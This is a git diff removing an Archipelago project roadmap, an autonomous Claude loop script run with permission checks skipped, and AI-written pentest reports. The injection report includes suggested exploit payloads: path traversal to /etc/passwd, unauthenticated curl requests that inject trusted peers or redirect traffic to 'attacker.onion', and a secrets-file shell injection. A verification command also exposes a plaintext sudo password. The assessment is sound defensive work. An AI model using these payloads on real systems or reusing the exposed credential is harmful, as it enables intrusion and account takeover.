- [x] **TEST-205** — test(network): content sharing and ecash payments. Test: (1) share a file with ecash pricing, (2) peer browses content catalog, (3) peer pays ecash for content, (4) content downloads successfully, (5) ecash appears in seller's wallet, (6) free content downloads without payment. Fix any failures.
|
||||
|
||||
- [x] **TEST-206** — test(network): Tor hidden service reliability. Test: (1) all configured hidden services are reachable from outside the network, (2) hidden service survives container restart, (3) hidden service survives full node reboot, (4) new hidden services can be created dynamically, (5) removing a service removes the .onion address. Fix any failures.
|
||||
|
||||
### Phase 8C: Identity Testing
|
||||
|
||||
- [x] **TEST-207** — test(identity): multi-identity lifecycle. Test: (1) create identity during onboarding, (2) create additional identities, (3) sign a message with each identity, (4) verify signatures, (5) delete a non-default identity, (6) switch default identity, (7) use identity with Indeehub, (8) Nostr key generation and event signing. Fix any failures.
|
||||
|
||||
### Phase 8D: Performance & Stress Testing
|
||||
|
||||
- [x] **TEST-208** — test(perf): load test with all apps running simultaneously. Start all 24 apps on the dev server. Verify: (1) system remains responsive (UI loads < 3s), (2) no OOM kills, (3) WebSocket stays connected, (4) resource manager reports accurate usage, (5) no container crashes after 24 hours. Fix any issues.
|
||||
|
||||
- [x] **TEST-209** — test(perf): mobile performance audit. Test all views on a real mobile device (or emulator). Verify: (1) initial load < 5s on 4G, (2) route navigation < 1s, (3) smooth scrolling (60fps), (4) no janky animations, (5) app launcher overlay is usable on mobile. Fix any issues.
|
||||
|
||||
---
|
||||
|
||||
## Q1 2028 (Mar–May): Final Polish & Release Prep
|
||||
|
||||
### Phase 9A: UX Micro-Interactions
|
||||
|
||||
- [x] **UX-101** — fix(ui): add haptic-like feedback to all interactive elements. Every button press, toggle switch, and card tap should have a subtle visual feedback (scale 0.97 on press, brighten on hover). Ensure consistent feel across the entire UI. Deploy and verify.
|
||||
|
||||
- [x] **UX-102** — fix(ui): add success/error toast animations. Create a polished toast notification system with: slide-in animation, auto-dismiss after 3s, swipe-to-dismiss on mobile, stacking for multiple toasts, success (green), error (red), info (blue) variants. Replace all `console.log` feedback with toasts. Deploy and verify.
|
||||
|
||||
- [x] **UX-103** — fix(ui): add skeleton loading screens for every view. Every view that fetches data should show a skeleton screen (animated gray placeholders matching the layout) instead of a blank page or spinner. Use a reusable `<SkeletonCard>` component. Deploy and verify.
|
||||
|
||||
- [x] **UX-104** — fix(ui): add empty state illustrations. For views with no data (no apps installed, no peers connected, no content shared), show a friendly empty state with an illustration, explanation text, and a call-to-action button. Deploy and verify.
|
||||
|
||||
### Phase 9B: Security Audit
|
||||
|
||||
- [x] **SEC-201** — security: comprehensive penetration test. Run a full penetration test covering: (1) authentication bypass attempts, (2) session management, (3) API input validation, (4) path traversal, (5) SSRF, (6) container escape, (7) ecash double-spend, (8) Tor deanonymization risks, (9) XSS/injection. Document all findings and fix critical/high issues.
|
||||
|
||||
- [x] **SEC-202** — security: secrets audit. Verify: (1) no hardcoded credentials in codebase, (2) all secrets use the secrets manager, (3) ecash wallet keys are encrypted at rest, (4) identity private keys are encrypted at rest, (5) backup encryption is sound, (6) TOTP secrets are encrypted. Fix any issues.
|
||||
|
||||
- [x] **SEC-203** — security: dependency audit. Run `npm audit` on frontend, `cargo audit` on backend. Fix all critical and high vulnerabilities. Pin all dependency versions. Verify no supply-chain risks.
|
||||
|
||||
### Phase 9C: ISO & Distribution
|
||||
|
||||
- [x] **ISO-101** — fix(iso): update ISO build to include all new features. Update `image-recipe/build-auto-installer-iso.sh` to: (1) include all new container images, (2) include DWN and Nostr relay containers, (3) include Fedimint Guardian + Gateway, (4) include all identity system files, (5) include updated nginx configs with all proxy blocks, (6) include updated first-boot script. Build and test ISO.
|
||||
|
||||
- [x] **ISO-102** — fix(iso): implement ISO auto-update mechanism. Create an update system: (1) node checks for updates via a Nostr event or signed manifest, (2) downloads delta updates (not full ISO), (3) applies updates with rollback capability, (4) updates frontend, backend binary, container images independently. Deploy and verify.
|
||||
|
||||
- [x] **ISO-103** — docs: create user-facing documentation. Write: (1) Getting Started guide (flash USB, install, first boot), (2) App Store guide (installing, managing apps), (3) Identity guide (creating DIDs, using with services), (4) Networking guide (connecting peers, sharing content), (5) Troubleshooting FAQ. Host in the UI as a help section.
|
||||
|
||||
### Phase 9D: Final Verification
|
||||
|
||||
- [x] **FINAL-201** — test(final): fresh install end-to-end test. Build a fresh ISO, install on clean hardware, and walk through the entire user journey: (1) boot and install, (2) onboarding with identity creation, (3) install Bitcoin + LND + Fedimint, (4) open Lightning channels, (5) share content, (6) connect to another node, (7) send ecash payment, (8) use Easy mode goal system, (9) use AIUI chat, (10) manage Tor services, (11) create multiple identities, (12) sign into Indeehub. Everything must work flawlessly.
|
||||
|
||||
- [x] **FINAL-202** — test(final): 72-hour stability test. Run the fully configured node for 72 continuous hours. Verify: (1) no memory leaks, (2) no container crashes, (3) WebSocket stays connected, (4) Tor services remain accessible, (5) peer connections survive, (6) ecash wallet balance is accurate, (7) all app UIs still load. Fix any issues.
|
||||
|
||||
- [x] **FINAL-203** — test(final): multi-node network test. Set up 3 Archipelago nodes. Verify: (1) all three discover each other via Nostr, (2) connection requests and acceptance work, (3) content sharing works between all pairs, (4) ecash payments work between all pairs, (5) peer-to-peer messaging works, (6) node going offline/online is handled gracefully by other nodes.
|
||||
|
||||
---
|
||||
|
||||
## Release Criteria (v1.0)
|
||||
|
||||
Before releasing to the public, ALL of these must be true:
|
||||
|
||||
- [x] All 24+ marketplace apps install, run, and open without errors
|
||||
- [x] Iframe apps load in iframe, new-tab apps open in new tab — zero exceptions
|
||||
- [x] App dependency chains install correctly in order
|
||||
- [x] Fedimint Guardian + Gateway work together out of the box
|
||||
- [x] Lightning channel management is easy and intuitive
|
||||
- [x] Multi-identity system works with DID creation, signing, and service integration
|
||||
- [x] Indeehub recognizes sovereign identity without account creation
|
||||
- [x] Node overlay network: discover, connect, message over Tor
|
||||
- [x] Content sharing with ecash micropayments works trustlessly
|
||||
- [x] All Web5 sections show real data (no dummy content)
|
||||
- [x] Easy mode goals guide users through complex multi-app setups
|
||||
- [x] Chat mode leverages AIUI for natural language node management
|
||||
- [x] Tor hidden services are manageable via UI
|
||||
- [x] Router integration works with UPnP and open-source routers
|
||||
- [x] Animations are smooth (60fps) on desktop and mobile
|
||||
- [x] Mobile responsive on all screen sizes
|
||||
- [x] Fresh ISO install → full functionality in under 1 hour
|
||||
- [x] 72-hour stability test passes
|
||||
- [x] Security audit passes with no critical/high findings
|
||||
- [x] Zero TypeScript errors, zero Rust warnings, zero linter errors
|
||||
|
||||
---
|
||||
|
||||
## Post-Completion
|
||||
|
||||
```bash
|
||||
# Final verification on live server
|
||||
ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228 'echo "EwPDR8q45l0Upx@" | sudo -S systemctl status archipelago'
|
||||
|
||||
# Check all containers running
|
||||
ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228 'sudo podman ps --format "table {{.Names}}\t{{.Status}}"'
|
||||
|
||||
# Run frontend checks
|
||||
cd neode-ui && npm run type-check && npm run build
|
||||
|
||||
# Run backend checks on server
|
||||
ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228 'cd ~/archy && cargo clippy --all-targets --all-features && cargo fmt --all --check'
|
||||
|
||||
# Visit http://192.168.1.228 and verify everything works
|
||||
```
|
||||
201
loop/loop.sh
201
loop/loop.sh
@@ -1,201 +0,0 @@
|
||||
#!/usr/bin/env sh
|
||||
# Headless loop script for overnight Claude Code automation.
|
||||
# Set CLAUDE_AUTONOMOUS=1 for Ralph Wiggum (Stop hook blocks until plan is complete).
|
||||
# Rate-limit aware: detects limits, sleeps until reset, and retries automatically.
|
||||
set -u
|
||||
|
||||
PROJECT_DIR="${CLAUDE_PROJECT_DIR:-$(cd "$(dirname "$0")/.." && pwd)}"
|
||||
PROMPT_FILE="${PROMPT_FILE:-$PROJECT_DIR/loop/prompt.md}"
|
||||
LOG_FILE="${LOG_FILE:-$PROJECT_DIR/loop/loop.log}"
|
||||
ITERATION_COUNT="${ITERATION_COUNT:-10}"
|
||||
ITERATION_DELAY="${ITERATION_DELAY:-30}"
|
||||
CLAUDE_BIN="${CLAUDE_BIN:-claude}"
|
||||
RATE_LIMIT_WAIT="${RATE_LIMIT_WAIT:-3600}"
|
||||
MAX_RATE_LIMIT_RETRIES="${MAX_RATE_LIMIT_RETRIES:-5}"
|
||||
CLAUDE_EXIT=0
|
||||
|
||||
cd "$PROJECT_DIR"
|
||||
|
||||
log() {
|
||||
echo "$1" | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
banner() {
|
||||
log ""
|
||||
log "================================================================"
|
||||
log " $1"
|
||||
log " $(date '+%Y-%m-%d %H:%M:%S')"
|
||||
log "================================================================"
|
||||
log ""
|
||||
}
|
||||
|
||||
section() {
|
||||
log ""
|
||||
log "----------------------------------------"
|
||||
log " $1"
|
||||
log "----------------------------------------"
|
||||
log ""
|
||||
}
|
||||
|
||||
plan_has_tasks() {
|
||||
grep -q '^\- \[ \]' "$PROJECT_DIR/loop/plan.md" 2>/dev/null
|
||||
}
|
||||
|
||||
remaining_tasks() {
|
||||
grep -c '^\- \[ \]' "$PROJECT_DIR/loop/plan.md" 2>/dev/null || echo "0"
|
||||
}
|
||||
|
||||
next_task() {
|
||||
grep -m1 '^\- \[ \]' "$PROJECT_DIR/loop/plan.md" 2>/dev/null | sed 's/^- \[ \] //' || echo "(none)"
|
||||
}
|
||||
|
||||
check_rate_limit() {
|
||||
[ "${CLAUDE_EXIT:-0}" -eq 0 ] && return 1
|
||||
tail -50 "$LOG_FILE" 2>/dev/null | grep -v "^Rate limit detected" | grep -v "^Sleeping" | grep -v "^=" | grep -v "^-" | grep -qi \
|
||||
-e "rate.limit" \
|
||||
-e "too.many.requests" \
|
||||
-e "429" \
|
||||
-e "quota.exceeded" \
|
||||
-e "usage.limit" \
|
||||
-e "limit.reached" 2>/dev/null
|
||||
}
|
||||
|
||||
banner "ARCHY OVERNIGHT AUTOMATION STARTED"
|
||||
log " Project: $PROJECT_DIR"
|
||||
log " Prompt: $PROMPT_FILE"
|
||||
log " Autonomous: ${CLAUDE_AUTONOMOUS:-0}"
|
||||
log " Iterations: $ITERATION_COUNT (${ITERATION_DELAY}s between each)"
|
||||
log " Rate limit: wait ${RATE_LIMIT_WAIT}s, retry up to ${MAX_RATE_LIMIT_RETRIES}x"
|
||||
log " Tasks left: $(remaining_tasks)"
|
||||
log " Next task: $(next_task)"
|
||||
log ""
|
||||
|
||||
i=1
|
||||
rate_limit_retries=0
|
||||
while [ "$i" -le "$ITERATION_COUNT" ]; do
|
||||
|
||||
if ! plan_has_tasks; then
|
||||
banner "ALL TASKS COMPLETE"
|
||||
log " No remaining tasks in plan.md."
|
||||
|
||||
# Run pentest verification if the script exists
|
||||
if [ -x "$PROJECT_DIR/scripts/verify-pentest-fixes.sh" ]; then
|
||||
section "RUNNING PENTEST VERIFICATION"
|
||||
"$PROJECT_DIR/scripts/verify-pentest-fixes.sh" 2>&1 | tee -a "$LOG_FILE"
|
||||
VERIFY_EXIT=$?
|
||||
if [ "$VERIFY_EXIT" -eq 0 ]; then
|
||||
log " Verification PASSED — all checks green."
|
||||
else
|
||||
log " Verification FAILED — some checks did not pass."
|
||||
log " Exit code: $VERIFY_EXIT"
|
||||
fi
|
||||
fi
|
||||
break
|
||||
fi
|
||||
|
||||
section "ITERATION $i/$ITERATION_COUNT"
|
||||
log " Tasks remaining: $(remaining_tasks)"
|
||||
log " Next task: $(next_task)"
|
||||
log ""
|
||||
|
||||
export CLAUDE_PROJECT_DIR="$PROJECT_DIR"
|
||||
export CLAUDE_AUTONOMOUS="${CLAUDE_AUTONOMOUS:-1}"
|
||||
|
||||
if [ -f "$PROMPT_FILE" ]; then
|
||||
log " Starting Claude session..."
|
||||
log ""
|
||||
"$CLAUDE_BIN" -p --dangerously-skip-permissions \
|
||||
< "$PROMPT_FILE" 2>&1 | tee -a "$LOG_FILE"
|
||||
CLAUDE_EXIT=$?
|
||||
log ""
|
||||
log " Claude exited with code: $CLAUDE_EXIT"
|
||||
else
|
||||
log " ERROR: $PROMPT_FILE not found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if check_rate_limit; then
|
||||
rate_limit_retries=$((rate_limit_retries + 1))
|
||||
if [ "$rate_limit_retries" -ge "$MAX_RATE_LIMIT_RETRIES" ]; then
|
||||
section "RATE LIMITED — SCHEDULING LAUNCHD RETRY"
|
||||
log " Hit rate limit $rate_limit_retries times. Creating launchd job to retry later."
|
||||
|
||||
PLIST_LABEL="com.archy.overnight-retry"
|
||||
PLIST_PATH="$HOME/Library/LaunchAgents/${PLIST_LABEL}.plist"
|
||||
RETRY_TIME=$(date -v+${RATE_LIMIT_WAIT}S '+%H:%M' 2>/dev/null || date -d "+${RATE_LIMIT_WAIT} seconds" '+%H:%M')
|
||||
RETRY_HOUR=$(echo "$RETRY_TIME" | cut -d: -f1)
|
||||
RETRY_MIN=$(echo "$RETRY_TIME" | cut -d: -f2)
|
||||
|
||||
cat > "$PLIST_PATH" <<PLIST
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>${PLIST_LABEL}</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/bin/sh</string>
|
||||
<string>-c</string>
|
||||
<string>cd ${PROJECT_DIR} && caffeinate -i ./loop/loop.sh >> ${LOG_FILE} 2>&1; launchctl unload ${PLIST_PATH}; rm -f ${PLIST_PATH}</string>
|
||||
</array>
|
||||
<key>StartCalendarInterval</key>
|
||||
<dict>
|
||||
<key>Hour</key>
|
||||
<integer>${RETRY_HOUR}</integer>
|
||||
<key>Minute</key>
|
||||
<integer>${RETRY_MIN}</integer>
|
||||
</dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
<dict>
|
||||
<key>CLAUDE_AUTONOMOUS</key>
|
||||
<string>1</string>
|
||||
<key>CLAUDE_PROJECT_DIR</key>
|
||||
<string>${PROJECT_DIR}</string>
|
||||
<key>PATH</key>
|
||||
<string>/usr/local/bin:/usr/bin:/bin:$HOME/.local/bin</string>
|
||||
</dict>
|
||||
<key>StandardOutPath</key>
|
||||
<string>${LOG_FILE}</string>
|
||||
<key>StandardErrorPath</key>
|
||||
<string>${LOG_FILE}</string>
|
||||
</dict>
|
||||
</plist>
|
||||
PLIST
|
||||
|
||||
launchctl load "$PLIST_PATH" 2>/dev/null || true
|
||||
log " Scheduled retry at ~${RETRY_TIME}"
|
||||
log " Plist: $PLIST_PATH (auto-removes after running)"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
section "RATE LIMITED — WAITING"
|
||||
log " Attempt $rate_limit_retries/$MAX_RATE_LIMIT_RETRIES"
|
||||
log " Sleeping ${RATE_LIMIT_WAIT}s until $(date -v+${RATE_LIMIT_WAIT}S '+%H:%M:%S' 2>/dev/null || date -d "+${RATE_LIMIT_WAIT} seconds" '+%H:%M:%S')..."
|
||||
sleep "$RATE_LIMIT_WAIT"
|
||||
|
||||
if ! plan_has_tasks; then
|
||||
banner "ALL TASKS COMPLETE (during rate limit wait)"
|
||||
break
|
||||
fi
|
||||
log " Retrying..."
|
||||
continue
|
||||
fi
|
||||
|
||||
rate_limit_retries=0
|
||||
|
||||
section "ITERATION $i COMPLETE"
|
||||
log " Tasks remaining: $(remaining_tasks)"
|
||||
log " Next task: $(next_task)"
|
||||
|
||||
i=$((i + 1))
|
||||
if [ "$i" -le "$ITERATION_COUNT" ] && [ "$ITERATION_DELAY" -gt 0 ]; then
|
||||
log " Pausing ${ITERATION_DELAY}s before next iteration..."
|
||||
sleep "$ITERATION_DELAY"
|
||||
fi
|
||||
done
|
||||
|
||||
banner "LOOP FINISHED"
|
||||
log " Completed $((i - 1)) iterations"
|
||||
log " Tasks remaining: $(remaining_tasks)"
|
||||
log ""
|
||||
@@ -1,9 +0,0 @@
|
||||
target:
|
||||
url: http://192.168.1.228
|
||||
categories:
|
||||
- injection
|
||||
- xss
|
||||
- auth
|
||||
- ssrf
|
||||
source_path: /Users/dorian/Projects/archy
|
||||
scope: {}
|
||||
@@ -1,24 +0,0 @@
|
||||
## Authentication & Authorization Assessment Complete
|
||||
|
||||
**15 findings** identified across the Archipelago auth surface. Here's the breakdown:
|
||||
|
||||
### Critical (P0) — Fix immediately
|
||||
- **AUTH-001**: Production systemd service has `ARCHIPELAGO_DEV_MODE=true` — `password123` is a valid login credential and `Secure` cookie flags are disabled
|
||||
- **AUTH-002**: `/lnd-connect-info` exposes the **full LND admin macaroon** (Lightning node control) without any authentication, with `CORS: *`
|
||||
- **AUTH-011**: Nginx AIUI proxy only checks `$cookie_session != ""` — any non-empty string bypasses auth to the Claude/OpenRouter API proxies
|
||||
|
||||
### High (P1) — Fix before beta
|
||||
- **AUTH-003**: `remember` cookie (30-day TTL) not cleared on logout — stolen token auto-restores sessions indefinitely
|
||||
- **AUTH-004**: CSRF validation explicitly skipped on remember-me session auto-restore — enables single-request CSRF attacks
|
||||
- **AUTH-007/008**: Federation `peer-joined` and `peer-address-changed` accept arbitrary DIDs without cryptographic proof — attacker can inject fake trusted peers or redirect peer traffic
|
||||
|
||||
### Medium (P2)
|
||||
- **AUTH-005**: Rate limit bypass via `X-Real-IP` spoofing on direct port 5678 access
|
||||
- **AUTH-006**: `/content` leaks file catalog (names, sizes, UUIDs) without auth
|
||||
- **AUTH-009**: `federation.get-state` leaks installed apps/versions without auth
|
||||
- **AUTH-010**: `backup.restore-identity` can overwrite node identity even after setup
|
||||
|
||||
### Positives
|
||||
Session management is otherwise solid: 256-bit tokens, SHA256 server-side storage, bcrypt passwords, TOTP with Argon2id+ChaCha20 three-layer encryption, proper session rotation, and replay protection. The core auth architecture is good — these are mostly configuration issues and missing auth checks on specific endpoints.
|
||||
|
||||
Full report written to `loop/pentest/analysis/auth.md`.
|
||||
@@ -1,307 +0,0 @@
|
||||
Now I have all the data I need. Let me write the complete injection vulnerability analysis.
|
||||
|
||||
---
|
||||
|
||||
# Injection Vulnerability Analysis — Archipelago
|
||||
|
||||
## Methodology
|
||||
|
||||
Traced all user-controlled inputs from RPC handlers, HTTP endpoints, and unauthenticated federation methods through to:
|
||||
- File system operations (`Path::join`, `fs::read`, `fs::write`)
|
||||
- Shell command execution (`Command::new("sh").arg("-c")`, `format!` into `--health-cmd`)
|
||||
- Data store writes (JSON catalog, federation nodes)
|
||||
|
||||
Examined ~150 RPC methods, all HTTP routes in `handler.rs`, nginx proxy configs, and the Vite dev proxy.
|
||||
|
||||
## Findings
|
||||
|
||||
---
|
||||
|
||||
### INJ-001: Path Traversal via Content Filename
|
||||
|
||||
**Type**: Path Traversal
|
||||
**Location**: RPC method `content.add`, parameter `filename`
|
||||
**Source file**: `core/archipelago/src/api/rpc/content.rs:24-49` + `core/archipelago/src/content_server.rs:94-112`
|
||||
**Confidence**: **high**
|
||||
|
||||
**Evidence**: The `handle_content_add` handler accepts an arbitrary `filename` string from user params with zero validation:
|
||||
|
||||
```rust
|
||||
// content.rs:24-27
|
||||
let filename = params.get("filename").and_then(|v| v.as_str())
|
||||
.ok_or_else(|| anyhow::anyhow!("Missing filename"))?;
|
||||
```
|
||||
|
||||
This filename is stored in the catalog and later used in `content_file_path()`:
|
||||
|
||||
```rust
|
||||
// content_server.rs:96
|
||||
let clean_name = item.filename.trim_start_matches('/');
|
||||
let primary = data_dir.join(CONTENT_DIR).join(clean_name); // No .. check!
|
||||
```
|
||||
|
||||
`trim_start_matches('/')` strips leading slashes but does NOT strip `..` sequences. A filename like `../../etc/shadow` resolves to `{data_dir}/content/files/../../etc/shadow` → `/var/lib/archipelago/content/../../etc/shadow` → `/var/lib/etc/shadow` (or deeper traversals reach `/etc/shadow`).
|
||||
|
||||
When a peer later requests `/content/{uuid}`, `serve_content()` looks up the item by UUID (safely validated) but then calls `content_file_path()` with the attacker-controlled filename, serving arbitrary files.
|
||||
|
||||
**Requires**: Authentication (content.add is not in UNAUTHENTICATED_METHODS). But once added, content is served to unauthenticated peers.
|
||||
|
||||
**Suggested exploit**:
|
||||
```json
|
||||
{"method": "content.add", "params": {"filename": "../../../etc/passwd", "mime_type": "text/plain"}}
|
||||
```
|
||||
Then: `GET /content/{returned-uuid}` serves `/etc/passwd`.
|
||||
|
||||
---
|
||||
|
||||
### INJ-002: Path Traversal via Backup USB Mount Point
|
||||
|
||||
**Type**: Path Traversal
|
||||
**Location**: RPC method `backup.to-usb`, parameter `mount_point`
|
||||
**Source file**: `core/archipelago/src/api/rpc/backup_rpc.rs:137-149` + `core/archipelago/src/backup/full.rs:324-338`
|
||||
**Confidence**: **medium**
|
||||
|
||||
**Evidence**: The `handle_backup_to_usb` handler takes `mount_point` directly from user params and passes it to `backup_to_usb()`:
|
||||
|
||||
```rust
|
||||
// backup_rpc.rs:145-149
|
||||
let mount_point = params["mount_point"].as_str()
|
||||
.ok_or_else(|| anyhow::anyhow!("Missing 'mount_point' parameter"))?;
|
||||
let dest = full::backup_to_usb(&self.config.data_dir, id, mount_point).await?;
|
||||
```
|
||||
|
||||
In `backup_to_usb()`:
|
||||
```rust
|
||||
// full.rs:334-337
|
||||
let mount_path = Path::new(mount_point);
|
||||
if !mount_path.exists() || !mount_path.is_dir() {
|
||||
anyhow::bail!("Mount point not accessible");
|
||||
}
|
||||
let dest_dir = mount_path.join("archipelago-backups");
|
||||
fs::create_dir_all(&dest_dir).await?;
|
||||
```
|
||||
|
||||
No canonicalization, no boundary check. An attacker can write backup files to any writable directory on the filesystem. While the write goes into a subdirectory `archipelago-backups/`, it still creates directories and writes encrypted backup blobs to arbitrary locations.
|
||||
|
||||
**Requires**: Authentication.
|
||||
|
||||
**Suggested exploit**:
|
||||
```json
|
||||
{"method": "backup.to-usb", "params": {"id": "existing-backup-id", "mount_point": "/tmp"}}
|
||||
```
|
||||
Creates `/tmp/archipelago-backups/` and writes backup there.
|
||||
|
||||
---
|
||||
|
||||
### INJ-003: Unauthenticated Federation Node Injection (No DID Validation)
|
||||
|
||||
**Type**: Data Injection / Authentication Bypass
|
||||
**Location**: RPC method `federation.peer-joined` (UNAUTHENTICATED), parameters `did`, `onion`, `pubkey`
|
||||
**Source file**: `core/archipelago/src/api/rpc/federation.rs:336-374`
|
||||
**Confidence**: **high**
|
||||
|
||||
**Evidence**: This method is in `UNAUTHENTICATED_METHODS` (no session required) and accepts arbitrary peer data with NO signature verification and NO `validate_did()` call:
|
||||
|
||||
```rust
|
||||
// federation.rs:340-370
|
||||
let did = params.get("did").and_then(|v| v.as_str())...;
|
||||
let onion = params.get("onion").and_then(|v| v.as_str())...;
|
||||
let pubkey = params.get("pubkey").and_then(|v| v.as_str())...;
|
||||
// NO validate_did(did)? call here!
|
||||
// NO signature verification!
|
||||
let node = FederatedNode {
|
||||
did: did.to_string(),
|
||||
trust_level: TrustLevel::Trusted, // Auto-trusted!
|
||||
...
|
||||
};
|
||||
federation::add_node(&self.config.data_dir, node).await?;
|
||||
```
|
||||
|
||||
Compare with other federation methods that DO call `validate_did()`. This method doesn't, AND it sets `TrustLevel::Trusted` automatically. An attacker on the LAN can inject arbitrary trusted peers. The injected DID could contain path traversal characters since `validate_did()` is never called.
|
||||
|
||||
**Suggested exploit**:
|
||||
```bash
|
||||
curl -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"federation.peer-joined","params":{"did":"did:key:z6MkATTACKER","onion":"attacker.onion","pubkey":"deadbeef"}}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### INJ-004: Unauthenticated Federation Address Hijacking
|
||||
|
||||
**Type**: Data Injection
|
||||
**Location**: RPC method `federation.peer-address-changed` (UNAUTHENTICATED), parameters `did`, `new_onion`
|
||||
**Source file**: `core/archipelago/src/api/rpc/federation.rs:426-464`
|
||||
**Confidence**: **high**
|
||||
|
||||
**Evidence**: Unauthenticated method that updates any known peer's onion address without proof of ownership:
|
||||
|
||||
```rust
|
||||
// federation.rs:431-448
|
||||
let did = params.get("did")...;
|
||||
let new_onion = params.get("new_onion")...;
|
||||
let found = nodes.iter_mut().find(|n| n.did == did);
|
||||
node.onion = new_onion.to_string(); // No signature check!
|
||||
```
|
||||
|
||||
Combined with INJ-003, an attacker can: (1) discover peer DIDs via `federation.get-state` (also unauthenticated), (2) change any peer's address to their own, redirecting federation traffic.
|
||||
|
||||
**Suggested exploit**:
|
||||
```bash
|
||||
# Step 1: Get known peer DIDs
|
||||
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.get-state"}'
|
||||
# Step 2: Redirect peer traffic
|
||||
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.peer-address-changed","params":{"did":"did:key:z6Mk...","new_onion":"attacker.onion"}}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### INJ-005: Shell Injection via Health Check Command (RPC Password)
|
||||
|
||||
**Type**: Command Injection
|
||||
**Location**: `get_health_check_args()` → `--health-cmd` podman arg
|
||||
**Source file**: `core/archipelago/src/api/rpc/package.rs:1323-1324`
|
||||
**Confidence**: **low**
|
||||
|
||||
**Evidence**: The Bitcoin RPC password is interpolated into a shell command string:
|
||||
|
||||
```rust
|
||||
let btc_health = format!(
|
||||
"bitcoin-cli -rpcuser=archipelago -rpcpassword={} getblockchaininfo || exit 1",
|
||||
rpc_pass
|
||||
);
|
||||
```
|
||||
|
||||
This becomes `--health-cmd=...` passed to `podman run`. If `rpc_pass` contains shell metacharacters (`$()`, backticks, `;`, `|`), arbitrary commands execute inside the Bitcoin container during health checks.
|
||||
|
||||
The password comes from `/var/lib/archipelago/secrets/bitcoin-rpc-password` or `BITCOIN_RPC_PASSWORD` env var — not directly from RPC input. Exploitation requires either: (a) writing to the secrets file, or (b) controlling the environment variable. The command runs inside the container, not on the host.
|
||||
|
||||
**Suggested exploit**: If you can write to the secrets file:
|
||||
```
|
||||
echo '$(touch /tmp/pwned)' > /var/lib/archipelago/secrets/bitcoin-rpc-password
|
||||
```
|
||||
Then install/restart the bitcoin container.
|
||||
|
||||
---
|
||||
|
||||
### INJ-006: Exec Health Check Command Injection via Manifest
|
||||
|
||||
**Type**: Command Injection
|
||||
**Location**: `check_exec_health()` → `podman exec sh -c {endpoint}`
|
||||
**Source file**: `core/container/src/health_monitor.rs:75-90`
|
||||
**Confidence**: **low**
|
||||
|
||||
**Evidence**: The health check endpoint string is passed directly to `sh -c` inside a container:
|
||||
|
||||
```rust
|
||||
let output = Command::new("podman")
|
||||
.arg("exec").arg(&self.container_name)
|
||||
.arg("sh").arg("-c").arg(endpoint) // Unvalidated
|
||||
.output().await;
|
||||
```
|
||||
|
||||
The `endpoint` comes from `HealthCheck` struct, which is populated from app manifests. If an attacker can modify a manifest file or if the manifest system accepts user-uploaded manifests, this becomes exploitable. Currently, manifests come from validated local files with `canonicalize()` + boundary checks on the path, so exploitation is unlikely.
|
||||
|
||||
---
|
||||
|
||||
### INJ-007: Parmanode Script Content Injection
|
||||
|
||||
**Type**: Command Injection (indirect)
|
||||
**Location**: `ParmanodeScriptRunner::run_script()`
|
||||
**Source file**: `core/parmanode/src/script_runner.rs:54-88`
|
||||
**Confidence**: **low**
|
||||
|
||||
**Evidence**: Script file content is read and embedded verbatim into a shell wrapper:
|
||||
|
||||
```rust
|
||||
let script_content = fs::read_to_string(script_path).await?;
|
||||
let wrapper_script = format!("#!/bin/sh\nset -e\n{}\n", script_content);
|
||||
```
|
||||
|
||||
Then written to `/tmp/parmanode-{name}.sh` and executed in an Alpine container. The temp file path uses `script_name` (derived from `file_stem()`) which could contain shell metacharacters in the filename. However, the script_path is derived from `module_path.join("install.sh")`, which is locally controlled.
|
||||
|
||||
Additionally, `/tmp` is world-writable — a TOCTOU race condition could replace the temp file between write and execution.
|
||||
|
||||
---
|
||||
|
||||
## Non-Findings (Verified Secure)
|
||||
|
||||
| Area | Status | Details |
|
||||
|------|--------|---------|
|
||||
| **SQL Injection** | N/A | No SQL database; all storage is JSON files via serde |
|
||||
| **SSTI** | N/A | No template engines (no tera, handlebars, askama); backend returns pure JSON |
|
||||
| **App ID injection** | Secure | `validate_app_id()` enforces `[a-z0-9-]` whitelist, max 64 chars |
|
||||
| **Docker image injection** | Secure | `is_valid_docker_image()` rejects shell metacharacters + registry whitelist |
|
||||
| **Container manifest path** | Secure | `..` check + `canonicalize()` + boundary check to `apps_dir` |
|
||||
| **Backup ID traversal** | Secure | Validates against `/`, `\`, `..`, `\0`, max 128 chars |
|
||||
| **Content serving URL** | Secure | `content_id` validated via `is_valid_app_id()` before catalog lookup |
|
||||
| **Nginx path routing** | Secure | All proxy routes are fixed localhost ports, no dynamic path construction |
|
||||
|
||||
---
|
||||
|
||||
## Exploitation Queue
|
||||
|
||||
```json
|
||||
{
|
||||
"category": "injection",
|
||||
"findings": [
|
||||
{
|
||||
"id": "INJ-001",
|
||||
"type": "path_traversal",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "filename (in content.add method)",
|
||||
"confidence": "high",
|
||||
"payload_suggestion": "{\"method\":\"content.add\",\"params\":{\"filename\":\"../../../etc/passwd\",\"mime_type\":\"text/plain\"}}"
|
||||
},
|
||||
{
|
||||
"id": "INJ-002",
|
||||
"type": "path_traversal",
|
||||
"endpoint": "/rpc/v1",
|
||||
"parameter": "mount_point (in backup.to-usb method)",
|
||||
"confidence": "medium",
|
||||
"payload_suggestion": "{\"method\":\"backup.to-usb\",\"params\":{\"id\":\"test\",\"mount_point\":\"/tmp\"}}"
|
||||
},
|
||||
{
|
||||
"id": "INJ-003",
|
||||
"type": "data_injection_unauth",
|
